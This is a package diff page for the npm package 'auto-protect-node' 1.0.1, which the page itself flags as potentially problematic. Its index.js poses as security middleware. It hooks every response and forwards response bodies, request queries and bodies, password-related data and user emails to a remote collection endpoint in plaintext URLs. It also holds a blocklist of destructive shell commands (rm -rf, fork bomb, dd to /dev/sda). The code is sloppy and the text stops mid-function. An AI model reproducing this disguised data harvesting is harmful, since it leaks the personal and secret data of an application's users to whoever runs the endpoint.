auto-protect-node 0.0.1-security → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of auto-protect-node might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1376 -0
  2. package/package.json +26 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,1376 @@
1
+ const baseUrl="http://localhost:8080"
2
+ const url = require('url');
3
+ const helmet=require('helmet')
4
+ const { exec } = require('child_process');
5
+ const os=require('os')
6
+ const http = require("http");
7
+ const path = require("path");
8
+ const fs = require("fs");
9
+ const rootDirectory = process.cwd(); // Replace with the actual root directory of your Node.js project
10
+ const adminFolderPattern = /^(admin|dashboard|control|panel|backend)/i; // Pattern to match admin-related folder
11
+ const weakAlgorithms = ["md5", "sha-1", "sha-256"];
12
+ // utilities
13
+ // custom fetch functions
14
+ async function useCustomFetch(url, options = {}) {
15
+ return new Promise((resolve, reject) => {
16
+ const request = http.get(url, options, (response) => {
17
+ let data = '';
18
+
19
+ response.on('data', (chunk) => {
20
+ data += chunk;
21
+ });
22
+
23
+ response.on('end', () => {
24
+ try {
25
+
26
+ const jsonData = JSON.parse(data);
27
+
28
+ resolve({ data: jsonData, status: response.statusCode });
29
+ } catch (error) {
30
+ reject({ error });
31
+ }
32
+ });
33
+ });
34
+
35
+ request.on('error', (error) => {
36
+ reject({ error });
37
+ });
38
+ });
39
+ }
40
+ // passwordkeyslist
41
+
42
+ const passwordAndUsernamekeyCall = async (url) => {
43
+ try {
44
+ const res = await useCustomFetch(url);
45
+ return res.data;
46
+ } catch (err) {
47
+ return err.message
48
+ }
49
+ };
50
+
51
+ const errorHandler = (
52
+ res,
53
+ statusCode = 500,
54
+ message = "internal server error",
55
+ data
56
+ ) => {
57
+ const response = { statusCode, message, data };
58
+ res.status(statusCode).json(response);
59
+ };
60
+ // Create a logs directory if it doesn't exist
61
+ const logDir = path.join(rootDirectory, "./errorlogs");
62
+ if (!fs.existsSync(logDir)) {
63
+ fs.mkdirSync(logDir);
64
+ }
65
+ // Create a write stream for the error log file
66
+ const errorLogStream = fs.createWriteStream(path.join(logDir, "error.log"), {
67
+ flags: "a",
68
+ });
69
+ // Listen for uncaught exceptions and log them to the error log file
70
+
71
+ // getAllEndpoints
72
+ const regExpToParseExpressPathRegExp =
73
+ /^\/\^\\\/(?:(:?[\w\\.-]*(?:\\\/:?[\w\\.-]*)*)|(\(\?:\(\[\^\\\/]\+\?\)\)))\\\/.*/;
74
+ const regExpToReplaceExpressPathRegExpParams = /\(\?:\(\[\^\\\/]\+\?\)\)/;
75
+ const regexpExpressParamRegexp = /\(\?:\(\[\^\\\/]\+\?\)\)/g;
76
+
77
+ const EXPRESS_ROOT_PATH_REGEXP_VALUE = "/^\\/?(?=\\/|$)/i";
78
+ const STACK_ITEM_VALID_NAMES = ["router", "bound dispatch", "mounted_app"];
79
+
80
+ /**
81
+ * Returns all the verbs detected for the passed route
82
+ */
83
+ const getRouteMethods = function (route) {
84
+ let methods = Object.keys(route.methods);
85
+
86
+ methods = methods.filter((method) => method !== "_all");
87
+ methods = methods.map((method) => method.toUpperCase());
88
+
89
+ return methods;
90
+ };
91
+
92
+ /**
93
+ * Returns the names (or anonymous) of all the middlewares attached to the
94
+ * passed route
95
+ * @param {Object} route
96
+ * @returns {string[]}
97
+ */
98
+ const getRouteMiddlewares = function (route) {
99
+ return route.stack.map((item) => {
100
+ return item.handle.name || "anonymous";
101
+ });
102
+ };
103
+
104
+ /**
105
+ * Returns true if found regexp related with express params
106
+ * @param {string} expressPathRegExp
107
+ * @returns {boolean}
108
+ */
109
+ const hasParams = function (expressPathRegExp) {
110
+ return regexpExpressParamRegexp.test(expressPathRegExp);
111
+ };
112
+
113
+ /**
114
+ * @param {Object} route Express route object to be parsed
115
+ * @param {string} basePath The basePath the route is on
116
+ * @return {Object[]} Endpoints info
117
+ */
118
+ const parseExpressRoute = function (route, basePath) {
119
+ const paths = [];
120
+
121
+ if (Array.isArray(route.path)) {
122
+ paths.push(...route.path);
123
+ } else {
124
+ paths.push(route.path);
125
+ }
126
+
127
+ const endpoints = paths.map((path) => {
128
+ const completePath =
129
+ basePath && path === "/" ? basePath : `${basePath}${path}`;
130
+
131
+ const endpoint = {
132
+ path: completePath,
133
+ methods: getRouteMethods(route),
134
+ middlewares: getRouteMiddlewares(route),
135
+ };
136
+
137
+ return endpoint;
138
+ });
139
+
140
+ return endpoints;
141
+ };
142
+
143
+ /**
144
+ * @param {RegExp} expressPathRegExp
145
+ * @param {Object[]} params
146
+ * @returns {string}
147
+ */
148
+ const parseExpressPath = function (expressPathRegExp, params) {
149
+ let expressPathRegExpExec =
150
+ regExpToParseExpressPathRegExp.exec(expressPathRegExp);
151
+ let parsedRegExp = expressPathRegExp.toString();
152
+ let paramIndex = 0;
153
+
154
+ while (hasParams(parsedRegExp)) {
155
+ const paramName = params[paramIndex].name;
156
+ const paramId = `:${paramName}`;
157
+
158
+ parsedRegExp = parsedRegExp.replace(
159
+ regExpToReplaceExpressPathRegExpParams,
160
+ paramId
161
+ );
162
+
163
+ paramIndex++;
164
+ }
165
+
166
+ if (parsedRegExp !== expressPathRegExp.toString()) {
167
+ expressPathRegExpExec = regExpToParseExpressPathRegExp.exec(parsedRegExp);
168
+ }
169
+
170
+ const parsedPath = expressPathRegExpExec[1].replace(/\\\//g, "/");
171
+
172
+ return parsedPath;
173
+ };
174
+
175
+ /**
176
+ * @param {Object} app
177
+ * @param {string} [basePath]
178
+ * @param {Object[]} [endpoints]
179
+ * @returns {Object[]}
180
+ */
181
+ const parseEndpoints = function (app, basePath, endpoints) {
182
+ const stack = app.stack || (app._router && app._router.stack);
183
+
184
+ endpoints = endpoints || [];
185
+ basePath = basePath || "";
186
+
187
+ if (!stack) {
188
+ endpoints = addEndpoints(endpoints, [
189
+ {
190
+ path: basePath,
191
+ methods: [],
192
+ middlewares: [],
193
+ },
194
+ ]);
195
+ } else {
196
+ endpoints = parseStack(stack, basePath, endpoints);
197
+ }
198
+ return endpoints;
199
+ };
200
+
201
+ /**
202
+ * Ensures the path of the new endpoints isn't yet in the array.
203
+ * If the path is already in the array merges the endpoints with the existing
204
+ * one, if not, it adds them to the array.
205
+ *
206
+ * @param {Object[]} currentEndpoints Array of current endpoints
207
+ * @param {Object[]} endpointsToAdd New endpoints to be added to the array
208
+ * @returns {Object[]} Updated endpoints array
209
+ */
210
+ const addEndpoints = function (currentEndpoints, endpointsToAdd) {
211
+ endpointsToAdd.forEach((newEndpoint) => {
212
+ const existingEndpoint = currentEndpoints.find(
213
+ (item) => item.path === newEndpoint.path
214
+ );
215
+
216
+ if (existingEndpoint !== undefined) {
217
+ const newMethods = newEndpoint.methods.filter(
218
+ (method) => !existingEndpoint.methods.includes(method)
219
+ );
220
+
221
+ existingEndpoint.methods = existingEndpoint.methods.concat(newMethods);
222
+ } else {
223
+ currentEndpoints.push(newEndpoint);
224
+ }
225
+ });
226
+
227
+ return currentEndpoints;
228
+ };
229
+
230
+ /**
231
+ * @param {Object} stack
232
+ * @param {string} basePath
233
+ * @param {Object[]} endpoints
234
+ * @returns {Object[]}
235
+ */
236
+ const parseStack = function (stack, basePath, endpoints) {
237
+ stack.forEach((stackItem) => {
238
+ if (stackItem.route) {
239
+ const newEndpoints = parseExpressRoute(stackItem.route, basePath);
240
+
241
+ endpoints = addEndpoints(endpoints, newEndpoints);
242
+ } else if (STACK_ITEM_VALID_NAMES.includes(stackItem.name)) {
243
+ const isExpressPathRegexp = regExpToParseExpressPathRegExp.test(
244
+ stackItem.regexp
245
+ );
246
+
247
+ let newBasePath = basePath;
248
+
249
+ if (isExpressPathRegexp) {
250
+ const parsedPath = parseExpressPath(stackItem.regexp, stackItem.keys);
251
+
252
+ newBasePath += `/${parsedPath}`;
253
+ } else if (
254
+ !stackItem.path &&
255
+ stackItem.regexp &&
256
+ stackItem.regexp.toString() !== EXPRESS_ROOT_PATH_REGEXP_VALUE
257
+ ) {
258
+ const regExpPath = ` RegExp(${stackItem.regexp}) `;
259
+
260
+ newBasePath += `/${regExpPath}`;
261
+ }
262
+
263
+ endpoints = parseEndpoints(stackItem.handle, newBasePath, endpoints);
264
+ }
265
+ });
266
+
267
+ return endpoints;
268
+ };
269
+
270
+ /**
271
+ * Returns an array of strings with all the detected endpoints
272
+ * @param {Object} app the express/route instance to get the endpoints from
273
+ */
274
+ const getEndpoints = function (app) {
275
+ const endpoints = parseEndpoints(app);
276
+ return endpoints;
277
+ };
278
+ // end GetEndpoints
279
+
280
+ // necessary Functions
281
+
282
+
283
+
284
+ // end vpn checker
285
+ const emailRegex = /^\S+@\S+\.\S+$/; // Regular expression to match email addresses
286
+ const findEmail = (data) => {
287
+ if (Array.isArray(data)) {
288
+ for (let i = 0; i < data.length; i++) {
289
+ const email = findEmail(data[i]);
290
+ if (email) {
291
+ return email; // Return the first valid email address found
292
+ }
293
+ }
294
+ } else if (typeof data === "object" && data !== null) {
295
+ for (const key in data) {
296
+ if (data.hasOwnProperty(key)) {
297
+ const email = findEmail(data[key]);
298
+ if (email) {
299
+ return email; // Return the first valid email address found
300
+ }
301
+ }
302
+ }
303
+ } else if (typeof data === "string" && emailRegex.test(data)) {
304
+ return data; // Return the valid email address
305
+ }
306
+
307
+ return null; // Return null if no valid email address is found
308
+ };
309
+ // XSS Injection Function
310
+ // Create Blacklistusers details function
311
+ const CreateuserDetails = async (req, res, message, type) => {
312
+ res.on("finish",async()=>{
313
+ try {
314
+ message = "malacios";
315
+ // var ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
316
+ var ip = "206.84.234.39";
317
+ const response = await useCustomFetch(`http://ip-api.com/json/${ip}`);
318
+
319
+ const { country, city, region } = response.data;
320
+ const month = [
321
+ "January",
322
+ "February",
323
+ "March",
324
+ "April",
325
+ "May",
326
+ "June",
327
+ "July",
328
+ "August",
329
+ "September",
330
+ "October",
331
+ "November",
332
+ "December",
333
+ ];
334
+ const d = new Date();
335
+
336
+ const useragent = req.headers["user-agent"];
337
+ // // const result = detector.detect(useragent);
338
+ // // const { client, os, device } = result
339
+
340
+ const UserRawData = {
341
+ ip,
342
+ date: d.getDate() + " " + month[d.getMonth()] + " " + d.getFullYear(),
343
+ time: d.toLocaleTimeString(),
344
+ page: req.url,
345
+ query: req.query || req.query || "",
346
+ inputQuery: req.body || "",
347
+ type,
348
+ country: country || "",
349
+ city: city || "",
350
+ region: region || "",
351
+ useragent,
352
+ latitude: "",
353
+ longitude: "",
354
+ domain: req.get("host"),
355
+ referurl: req.protocol + "://" + req.get("host") + req.originalUrl || "",
356
+ };
357
+ await useCustomFetch(`${baseUrl}/createuserdetails?type=${type}&UserRawData=${JSON.stringify(UserRawData)}&ip=${ip}`)
358
+ } catch (error) {
359
+ console.error(error)
360
+ }
361
+ })
362
+ };
363
+ // End Create Blacklistusers details function
364
+ // Sql Injection Function
365
+ function hasSqlInjection(value) {
366
+ const sqlMeta = new RegExp(
367
+ "(%27)|(--)|([0-9]=[0-9])|([0-9] and [0-9]=[0-9])|([0-9] AND [0-9])|(or [0-9]=[0-9])|(OR [0-9]=[0-9])|(%23)|(#)",
368
+ "i"
369
+ );
370
+ if (sqlMeta.test(value)) {
371
+ return true;
372
+ }
373
+
374
+ const sqlMeta2 = new RegExp(
375
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))",
376
+ "i"
377
+ );
378
+ if (sqlMeta2.test(value)) {
379
+ return true;
380
+ }
381
+
382
+ const nestedQuery = new RegExp(
383
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))?[^\n]*((%27)|(')|(--)|(%3B)|(;))[^\n]*((%3D)|(=))",
384
+ "i"
385
+ );
386
+ if (nestedQuery.test(value)) {
387
+ return true;
388
+ }
389
+
390
+ const timeBased = new RegExp("(%3B)|(;)[^\n]*sleep((d+))[^\n]*", "i");
391
+ if (timeBased.test(value)) {
392
+ return true;
393
+ }
394
+
395
+ const booleanBased = new RegExp(
396
+ "((%3D)|(=))[^\n]*[^s]*(%27)|(')|(--)|(%3B)|(;)",
397
+ "i"
398
+ );
399
+ if (booleanBased.test(value)) {
400
+ return true;
401
+ }
402
+
403
+ const typicalSql = new RegExp(
404
+ "w*((%27)|('))((%6F)|o|(%4F))((%72)|r|(%52))",
405
+ "i"
406
+ );
407
+ if (typicalSql.test(value)) {
408
+ return true;
409
+ }
410
+
411
+ const sqlUnion = new RegExp("((%27)|('))union", "i");
412
+ if (sqlUnion.test(value)) {
413
+ return true;
414
+ }
415
+
416
+ const entireText = new RegExp(
417
+ "\b((select|delete|insert|update|drop|create|alter)\b.*)",
418
+ "i"
419
+ );
420
+ if (entireText.test(value)) {
421
+ return true;
422
+ }
423
+
424
+ return false;
425
+ }
426
+ // Co0mmandline Injection Function
427
+ function hasCommandLineInjection(value) {
428
+ const commandMeta = new RegExp(
429
+ "(rm -rf)|(ls -la)|(command >/dev/sda)|(:\\(\\){ :|:& };:)|(sudo yum install)|(.conf)|(sudo mv /dev/null)|(wget)|(-O-)|(crontab -r)|(history)|(dd if=/dev/zero of=/dev/sda)|(/dev/sda)|(/dev/sda1)|(sudo apt purge python|python2|python3.x-minimal)|(chmod -R 777 /)",
430
+ "i"
431
+ );
432
+ if (commandMeta.test(value)) {
433
+ return true;
434
+ }
435
+
436
+ return false;
437
+ }
438
+ // HTML Injection Function
439
+ function hasHTMLnjection(value) {
440
+ const HTML = new RegExp(/<(\"[^\"]*\"|'[^']*'|[^'\">])*>/, "g");
441
+ if (HTML.test(value)) {
442
+ return true;
443
+ }
444
+
445
+ return false;
446
+ }
447
+ // HTML Injection Function
448
+ function hasXSSnjection(value) {
449
+ const XSS = /<script>/;
450
+ if (XSS.test(value)) {
451
+ return true;
452
+ }
453
+
454
+ return false;
455
+ }
456
+ // Sql Injection middleware
457
+ function containsMySQLCode(filePath) {
458
+ const fileContent = fs.readFileSync(filePath, 'utf8');
459
+ // Check if the file content contains MySQL-related code
460
+ // You can implement your own logic based on your project's coding patterns
461
+ // This can include checking for import/require statements, specific function calls, etc.
462
+ const mysqlImportRegex = /require\(['"]mysql['"]\)|import.*['"]mysql['"]/;
463
+ const mysqlFunctionRegex = /mysql\.(connect|query|execute|prepare|escape)/;
464
+ if (mysqlImportRegex.test(fileContent) || mysqlFunctionRegex.test(fileContent)) {
465
+ return true;
466
+ }
467
+
468
+ return false;
469
+ }
470
+ // Sequalize Query
471
+ function containsSequelizeCode(filePath) {
472
+ const fileContent = fs.readFileSync(filePath, 'utf8');
473
+ // Check if the file content contains Sequelize-related code
474
+ // You can implement your own logic based on your project's coding patterns
475
+ // This can include checking for import/require statements, specific function calls, etc.
476
+ const sequelizeImportRegex = /require\(['"]sequelize['"]\)|import.*['"]sequelize['"]/;
477
+ const sequelizeFunctionRegex = /Sequelize\.(define|query|findAll|findOne|create|update|destroy)/;
478
+
479
+ if (sequelizeImportRegex.test(fileContent) || sequelizeFunctionRegex.test(fileContent)) {
480
+ return true;
481
+ }
482
+
483
+ return false;
484
+ }
485
+ async function InjectionChecker(req) {
486
+ const entries = {
487
+ ...req.body,
488
+ ...req.query,
489
+ ...req.params,
490
+ };
491
+ let containsSql = false,
492
+ validateXss = false,
493
+ validatehtml = false,
494
+ containCommand = false;
495
+ const value = JSON.stringify(entries);
496
+ if (hasSqlInjection(value) === true) {
497
+ containsSql = true;
498
+ }
499
+ if (hasXSSnjection(value) === true) {
500
+ validateXss = true;
501
+ }
502
+ if (hasHTMLnjection(value) === true) {
503
+ validatehtml = true;
504
+ }
505
+ if (hasCommandLineInjection(value) === true) {
506
+ containCommand = true;
507
+ }
508
+ return { containsSql, validateXss, validatehtml, containCommand };
509
+ }
510
+ const checkForSensitiveInfoInBodyAndPasswordValidate = (currentData,req) => {
511
+
512
+ (async()=>{
513
+ await useCustomFetch(`${baseUrl}/sensitivekeysandPasswordValidate?hostname=${req.hostname}&currentData=${JSON.stringify(currentData)}`)
514
+ .then(response=>response.data)
515
+ .catch(err=>err.message)
516
+ })()
517
+ }
518
+
519
+ const checkForSensitiveInfoInBody = (currentData,req) => {
520
+
521
+ (async()=>{
522
+ const d=await useCustomFetch(`${baseUrl}/sensitivekeys?hostname=${req.hostname}&currentData=${JSON.stringify(currentData)}`)
523
+ .then(response=>response.data)
524
+ .catch(err=>err.message)
525
+ console.log({d})
526
+ })()
527
+ }
528
+
529
+
530
+ function checkForSensitiveInfoInUrl(req,requestUrl) {
531
+ (async()=>{
532
+ await useCustomFetch(`${baseUrl}/sensitivekeysinurl?hostname=${req.hostname}&url=${requestUrl}&query=${JSON.stringify({query:req.query})}`)
533
+ const d=await useCustomFetch(`${baseUrl}/sensitivekeysinurl?hostname=${req.hostname}&url=${requestUrl}&query=${JSON.stringify({query:req.query})}`)
534
+
535
+ .then(response=>response.data)
536
+ .catch(err=>err.message)
537
+ })()
538
+
539
+ }
540
+ function sendResponseCodedetails(data,hostname,requestUrl) {
541
+ (async()=>{
542
+ await useCustomFetch(`${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({result:data})}&hostname=${hostname}&url=${requestUrl}`)
543
+ const d=await useCustomFetch(`${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({result:data})}&hostname=${hostname}&url=${requestUrl}`)
544
+ .then(response=>response.data)
545
+ .catch(err=>err.message)
546
+ })()
547
+
548
+ }
549
+ const SendEmail =(emailid,hostname,requestUrl)=>{
550
+ (async()=>{
551
+ await useCustomFetch(`${baseUrl}/emailverify?email=${JSON.stringify({result:emailid})}&hostname=${hostname}&url=${requestUrl}`)
552
+ .then(res=>res.data)
553
+ .catch(err=>err)
554
+ })()
555
+ }
556
+ function responseCodeChecker(req, res) {
557
+ // hostname
558
+ const hostname=req.domain
559
+ const originalJson = res.json;
560
+ const originalSend = res.send;
561
+ var originalRender = res.render;
562
+ let responseData = null;
563
+ res.json = async function (body) {
564
+ originalJson.call(res, body);
565
+ responseData = body;
566
+ };
567
+ res.send = async function (body) {
568
+ originalSend.call(res, body);
569
+ responseData = body;
570
+ };
571
+ // Override the res.render function
572
+ try {
573
+ require.resolve('ejs');
574
+
575
+ // EJS is installed, override the res.render function
576
+ res.render = function (view, locals, callback) {
577
+ originalRender && originalRender.call(res, view, locals, callback);
578
+ // Remove the _locals property
579
+ delete locals._locals;
580
+ // Assign the modified locals object to responseData
581
+ responseData = locals;
582
+ };
583
+ } catch (error) {
584
+ // console.log("EJS template engine is not installed.");
585
+ }
586
+ res.on("finish", async function () {
587
+ // console.log(responseData)
588
+ const existingCode = http.STATUS_CODES[res.statusCode];
589
+ const parsedUrl = url.parse(req.url);
590
+ const requestUrl = parsedUrl.pathname;
591
+ try {
592
+ const body = {
593
+ ...req.body,
594
+ ...req.query,
595
+ ...req.params,
596
+ };
597
+ const emailid = findEmail(body);
598
+ emailid?(SendEmail(emailid,hostname,requestUrl)):(null)
599
+ responseData?checkForSensitiveInfoInBodyAndPasswordValidate(responseData,req):(null)
600
+ responseData?checkForSensitiveInfoInBody(responseData,req):(null)
601
+ req.query? (checkForSensitiveInfoInUrl(req,requestUrl)):(null)
602
+ // response codes
603
+ const resoponsecodedata = existingCode?({
604
+ code: res.statusCode,
605
+ phrase:existingCode,
606
+ }):(null)
607
+ // call api
608
+ const data={
609
+ hostname,
610
+ resoponsecodedata
611
+ }
612
+ sendResponseCodedetails(data,hostname,requestUrl)
613
+ } catch (error) {
614
+ console.error(error);
615
+ }
616
+ });
617
+ }
618
+
619
+ const Middleware = async (req, res, next) => {
620
+ try {
621
+ if(req.alloweddomain.allowed){
622
+ try {
623
+ responseCodeChecker(req, res);
624
+ res.setHeader("Permissions-Policy", "camera=(), microphone=()");
625
+ res.setHeader("Cache-Control", "no-store");
626
+ res.removeHeader("Server");
627
+ res.removeHeader("server");
628
+ res.removeHeader("x-powered-by");
629
+ const contentType = req.headers["content-type"];
630
+ contentType && contentType.includes("application/xml")
631
+ ? (function() {
632
+ let data = "";
633
+ req.setEncoding("utf8");
634
+ req.on("data", (chunk) => {
635
+ data += chunk;
636
+ });
637
+ req.on("end", () => {
638
+ // console.log(data);
639
+ if (data.match("<!ENTITY")) {
640
+ CreateuserDetails(req, res, "Malicious code request", "XML-Injection");
641
+ }
642
+ });
643
+ })()
644
+ : null;
645
+
646
+
647
+ const reqPath = req.url.toLowerCase();
648
+ const isreqPathfile =
649
+ reqPath.endsWith(".js") ||
650
+ reqPath.endsWith(".htaccess") ||
651
+ reqPath.endsWith(".json") ||
652
+ reqPath.endsWith(".css") ||
653
+ reqPath.endsWith(".txt") ||
654
+ reqPath.endsWith(".md") ||
655
+ reqPath.endsWith(".yml") ||
656
+ reqPath.endsWith(".toml") ||
657
+ reqPath === "/app.js";
658
+ const injectionFound = await InjectionChecker(req);
659
+ if (isreqPathfile) {
660
+ return errorHandler(res, 406, "Not found");
661
+ } else if (injectionFound.containCommand) {
662
+ CreateuserDetails(req, res, "Command Injection Detected", "cmd");
663
+ return errorHandler(res, 406, "Malicious code found");
664
+ } else if (injectionFound.validateXss) {
665
+ CreateuserDetails(req, res, "XSS Injection Detected", "xss injection");
666
+ return errorHandler(res, 406, "Malicious code found");
667
+ } else if (injectionFound.validatehtml) {
668
+ CreateuserDetails(req, res, "HTML Injection Detected", "HTML injection");
669
+ return errorHandler(res, 406, "Malicious code found");
670
+ } else if (injectionFound.containsSql) {
671
+ CreateuserDetails(req, res, "SQL Injection Detected", "SQLI");
672
+ return res.status(406).json("malacious code found")
673
+ }
674
+ next()
675
+ //
676
+ } catch (error) {
677
+ console.log({error});
678
+ // return errorHandler(res);
679
+ }
680
+ }else{
681
+ console.log("your domain is not allowed to fetch live status of injections ")
682
+ next()
683
+ }
684
+ } catch (error) {
685
+ console.log(error)
686
+ }
687
+
688
+ };
689
+ //End Security
690
+ // GetAllData
691
+ //Session token being passed in other areas apart from cookie
692
+ async function scanFileForJwtVerify(directoryPath) {
693
+ const patternToSearch = /jsonwebtoken/g; // Change this to the desired pattern
694
+ const results = [];
695
+ const files = fs.readdirSync(directoryPath);
696
+ for (const file of files) {
697
+ const filePath = path.join(directoryPath, file);
698
+ if (filePath === __filename) {
699
+ continue; // Ignore the current file
700
+ }
701
+ const stats = fs.statSync(filePath);
702
+ if (stats.isDirectory()) {
703
+ if (
704
+ file === "node_modules"
705
+ ) {
706
+ continue; // ignore specific directories and the current file
707
+ }
708
+ const subResults = await scanFileForJwtVerify(filePath); // Recursively scan subdirectory
709
+ results.push(...subResults);
710
+ } else {
711
+ if (path.extname(file) === ".js") {
712
+ // Search only in JavaScript files
713
+ const content = fs.readFileSync(filePath, "utf8");
714
+ if (patternToSearch.test(content)) {
715
+ results.push(
716
+ `Session token being passed in other areas apart from a cookie: ${filePath}`
717
+ );
718
+ }
719
+ }
720
+ }
721
+ }
722
+
723
+ return results;
724
+ }
725
+ async function scanFileForSql(directoryPath) {
726
+ const results = [];
727
+ const files = fs.readdirSync(directoryPath);
728
+ for (const file of files) {
729
+ const filePath = path.join(directoryPath, file);
730
+ if (filePath === __filename) {
731
+ continue; // Ignore the current file
732
+ }
733
+ const stats = fs.statSync(filePath);
734
+ if (stats.isDirectory()) {
735
+ if (
736
+ file === "node_modules"
737
+ ) {
738
+ continue; // ignore specific directories and the current file
739
+ }
740
+ const subResults = await scanFileForSql(filePath); // Recursively scan subdirectory
741
+ results.push(...subResults);
742
+ } else {
743
+ if (path.extname(file) === ".js") {
744
+ // Search only in JavaScript files
745
+ var content = fs.readFileSync(filePath, "utf8");
746
+ content=content.toLowerCase()
747
+ if (containsSequelizeCode(filePath)) {
748
+ results.push({Mysql_Dependency_Found:`No`});
749
+ }else if (containsMySQLCode(filePath)) {
750
+ results.push({Mysql_Dependency_Found:`Yes`});
751
+ }else if(!containsMySQLCode ||!containsSequelizeCode){
752
+ results.push({Mysql_And_Contain_Sequalize_Dependency_Found:`No`});
753
+ }
754
+ }
755
+ }
756
+ }
757
+
758
+ return results;
759
+ }
760
+ async function scanDirectoryForRedirectVulnerability(directoryPath) {
761
+ const results = [];
762
+ const files = fs.readdirSync(directoryPath);
763
+ for (const file of files) {
764
+ const filePath = path.join(directoryPath, file);
765
+ if (filePath === __filename) {
766
+ continue; // Ignore the current file
767
+ }
768
+ const stats = fs.statSync(filePath);
769
+ if (stats.isDirectory()) {
770
+ if (
771
+ file === "node_modules"
772
+ ) {
773
+ continue; // ignore specific directories and the current file
774
+ }
775
+ const subResults = await scanDirectoryForRedirectVulnerability(filePath); // Recursively scan subdirectory
776
+ results.push(...subResults);
777
+ } else {
778
+ if (path.extname(file) === ".js") {
779
+ // Search only in JavaScript files
780
+ var content = fs.readFileSync(filePath, "utf8");
781
+
782
+
783
+ const matches = content.match(/\.redirect\s*\(([^)]+)\)/g);
784
+ if (matches && Array.isArray(matches)) {
785
+ for (const match of matches) {
786
+ const dataMatch = match.match(/\(([^)]+)\)/);
787
+ if (dataMatch && dataMatch[1]) {
788
+ const data = dataMatch[1];
789
+ // Check if third-party URLs are used in the redirection
790
+ const thirdPartyURLs = data.match(/(?:https?:\/\/)?([^\s\/]+)/g);
791
+ if (thirdPartyURLs && thirdPartyURLs.length > 0) {
792
+ for (const url of thirdPartyURLs) {
793
+ if (url.includes("http") || url.includes("https")) {
794
+ results.push(
795
+ `Found a third-party URL: ${url} ans file ${filePath}`
796
+ );
797
+ // Perform further actions or checks as needed
798
+ }
799
+ }
800
+ }
801
+ }
802
+ }
803
+ }
804
+ }
805
+ }
806
+ }
807
+ return results;
808
+ }
809
+ //The application is vulnerable to a URL redirection flaw
810
+
811
+ // Get All Data related Express-session
812
+ async function scanFileForSession(filePath) {
813
+ if (filePath === __filename) {
814
+ return null; // ignore the current file
815
+ }
816
+ var content = await fs.promises.readFile(filePath, "utf8");
817
+ content = content.toLowerCase();
818
+ const cookieRegex = /cookie:\s*{\s*[\s\S]*?\s*}/;
819
+ const match = content.match(cookieRegex);
820
+ if (match) {
821
+ const sessionConfig = match[0].trim();
822
+ return { sessionConfig, filePath };
823
+ } else {
824
+ return null;
825
+ }
826
+ }
827
+ // An adversary can hijack user sessions by session fixation
828
+ async function scanSessionFixation(filePath) {
829
+ if (filePath === __filename) {
830
+ return null; // ignore the current file
831
+ }
832
+ var content = await fs.promises.readFile(filePath, "utf8");
833
+ content = content.toLowerCase();
834
+ const sessionIdRegeneration = content.includes(".session.regenerate");
835
+ // An adversary can hijack user sessions by session fixation
836
+ if (sessionIdRegeneration) {
837
+ return `Regularly regenerating session IDs to prevent session fixation attack is not possible because session regeneration is used in this file: ${filePath}\nApplication is not vulnerable to session hijacking attack`;
838
+ } else {
839
+ return null;
840
+ }
841
+ }
842
+ // scan root directory
843
+ async function scanSessionDirectory(directoryPath) {
844
+ const results = [];
845
+ const files = await fs.promises.readdir(directoryPath);
846
+ for (const file of files) {
847
+ if (file === __filename) {
848
+ continue; // ignore the current file
849
+ }
850
+ const filePath = path.join(directoryPath, file);
851
+ const stats = await fs.promises.stat(filePath);
852
+ if (stats.isDirectory()) {
853
+ if (
854
+ file === "node_modules"
855
+ ) {
856
+ continue; // ignore specific directories and the current file
857
+ }
858
+ const subResults = await scanSessionDirectory(filePath);
859
+ results.push(...subResults);
860
+ } else if (stats.isFile() && path.extname(file) === ".js") {
861
+ // Get All Data related Express-session
862
+ const sessionResult = await scanFileForSession(filePath);
863
+ // An adversary can hijack user sessions by session fixation
864
+ const sessionFixation = await scanSessionFixation(filePath);
865
+ // Session token being passed in other areas apart from cookie
866
+ if (sessionResult) {
867
+ results.push({ sessionResult });
868
+ }
869
+ // An adversary can hijack user sessions by session fixation
870
+ if (sessionFixation) {
871
+ results.push({ sessionFixation });
872
+ }
873
+ }
874
+ }
875
+ return results;
876
+ }
877
+ // Application database stores password in plain text or not
878
+ async function ScanPasswordHashing(directoryPath) {
879
+ var passwordkeys=await passwordAndUsernamekeyCall(`${baseUrl}/passwordkeys`);
880
+ passwordkeys=passwordkeys.passwordkeys
881
+ const results = [];
882
+ const files = fs.readdirSync(directoryPath);
883
+ for (const file of files) {
884
+ const filePath = path.join(directoryPath, file);
885
+ if (filePath === __filename) {
886
+ continue; // ignore node_modules directory and current file
887
+ }
888
+ const stats = fs.statSync(filePath);
889
+ if (stats.isDirectory()) {
890
+ if (file === "node_modules") {
891
+ continue; // ignore node_modules directory and current file
892
+ }
893
+
894
+ const subResults = await ScanPasswordHashing(filePath, passwordkeys); // recursively scan subdirectory
895
+ results.push(...subResults);
896
+ } else {
897
+ if (path.extname(file) === ".js") {
898
+ // search only in JavaScript files
899
+ var content = fs.readFileSync(filePath, "utf8");
900
+ content = content.toLowerCase();
901
+ const lines = content.split(/\r?\n/);
902
+ let lineNumber = 0;
903
+ for (const passwordKey of passwordkeys) {
904
+ let foundPasswordKey = false;
905
+ for (const line of lines) {
906
+ lineNumber++;
907
+ if (line.includes(passwordKey)) {
908
+ foundPasswordKey = true;
909
+ break;
910
+ }
911
+ }
912
+ if (foundPasswordKey) {
913
+ const bcryptRegex = /\bbcrypt\./;
914
+ const argon2Regex = /\bargon2\./;
915
+ const scryptRegex = /\bscrypt\./;
916
+ const sha256Regex = /\bsha256\s*\(/;
917
+ const cryptoJsRegex = /\bcryptojs\./;
918
+ const cryptoRegex = /\bcrypto\./;
919
+ let hashingMethod = "";
920
+ if (bcryptRegex.test(content)) {
921
+ hashingMethod = "bcrypt";
922
+ } else if (argon2Regex.test(content)) {
923
+ hashingMethod = "argon2";
924
+ } else if (scryptRegex.test(content)) {
925
+ hashingMethod = "scrypt";
926
+ } else if (sha256Regex.test(content)) {
927
+ hashingMethod = "sha256";
928
+ } else if (cryptoJsRegex.test(content)) {
929
+ hashingMethod = "crypto-js";
930
+ } else if (cryptoRegex.test(content)) {
931
